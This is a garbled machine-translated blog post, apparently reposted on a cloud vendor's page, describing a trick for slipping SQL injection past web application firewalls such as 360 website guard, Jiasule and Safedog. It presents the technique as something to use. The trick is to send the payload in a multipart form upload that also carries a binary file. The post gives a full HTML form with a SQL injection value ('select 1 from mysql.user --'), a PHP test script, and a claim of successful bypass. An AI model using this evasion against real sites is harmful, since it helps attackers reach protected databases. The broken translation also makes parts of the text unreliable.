XXX has previously submitted multipart requests to bypass various WAF Methods: One of the defects of WAF 360 website, quickshield, jiasule and other similar products, which does not seem to attract much attention. Today, I found that the dongle was so intelligent that he didn't want to eat it. But I submitted a binary file domain to the dongle and it was xxoo. Be sure to use binary files, images, compressed packages, or anything.
Construct the following HTML form:
<! Doctype HTML>
<HTML>
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = UTF-8"/>
<Title> yzmm-p2j.cn </title>
</Head>
<Body>
<Form action = "http://webshell.cc/index.php" method = "Post" enctype = "multipart/form-Data">
File: <input type = "file" name = "file"/> <br/>
ID: <input type = "text" name = "ID" value = "select 1 from mysql. User --" style = "width: 250px;"/> <br/>
<Input type = "Submit" value = "Submit"/>
</Form>
</Body>
</Html>
Index. php:
<?php
echo "POST-ID:".$_POST[‘id‘]."<br/>GET-ID:".$_GET[‘id‘];
?>
Submit a request with a binary file:
Bypass successfully.
The content on this site is original. For reprinted content, be sure to keep your signatures and links!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
